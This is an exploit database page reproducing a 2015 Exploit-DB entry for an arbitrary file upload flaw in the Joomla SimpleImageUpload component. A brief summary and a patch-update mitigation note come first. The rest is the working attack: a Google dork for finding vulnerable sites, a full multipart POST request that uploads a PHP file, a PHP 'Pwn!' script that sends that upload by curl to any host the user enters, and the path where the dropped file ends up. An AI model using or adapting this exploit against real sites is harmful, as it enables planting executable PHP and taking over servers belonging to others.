Joomla Simple Image Upload - Arbitrary File Upload

vendor:

SimpleImageUpload

by:

CrashBandicot @DosPerl

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: SimpleImageUpload

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: a:tuts4you:simpleimageupload:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: MsWin32

2015

Joomla Simple Image Upload – Arbitrary File Upload

This exploit allows an attacker to upload arbitrary files to the vulnerable Joomla Simple Image Upload component. The vulnerability is similar to the Com_Media vulnerability. The attacker can send a POST request with a malicious file to the vulnerable component and the file will be uploaded to the server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update the component to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: Joomla Simple Image Upload - Arbitrary File Upload
# Google Dork: inurl:option=com_simpleimageupload
# Date: 23.06.2015
# Exploit Author: CrashBandicot @DosPerl
# Vendor Homepage: http://tuts4you.de/
# Software Link: http://tuts4you.de/96-development/156-simpleimageupload
# Version: 1.0
# Tested on: MsWin32

# Vuln Same to Com_Media Vulnerability

# Live Request :

POST /index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------247062787817068


-----------------------------247062787817068\r\n
Content-Disposition: form-data; name="Filedata"; filename="L0v3.php."\r\n
Content-Type: application/x-php\r\n
\r\n
0wn3d ! ;)\r\n
-----------------------------247062787817068\r\n
Content-Disposition: form-data; name="return-url"\r\n
\r\n
aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=\r\n
-----------------------------247062787817068--\r\n


# Exploit :

<?php 

echo '<form action="#"  method="post" enctype="multipart/form-data">
<input type="text" name="target" value="www.localhost.com" /><input type="submit" name="Pwn" value="Pwn!" />
</form>';


if($_POST) { 
	
	$target = $_POST['target'];

$file = "0wn3d ! ;)"; 
$header = array("Content-Type: application/x-php",
"Content-Disposition: form-data; name=\"Filedata\"; file=\"L0v3.php.\"");

$ch = curl_init("http://".$target."/index.php?option=com_simpleimageupload&task=upload.upload&tmpl=component");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36");
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$file", "return-url" => "aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=",)); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$result = curl_exec($ch);
curl_close($ch);
print "$result";

} else { die(); }
?>


# Path of File : 127.0.0.1/images/[Rand0mString]L0v3.php
# Sh00t to Mr_AnarShi-T;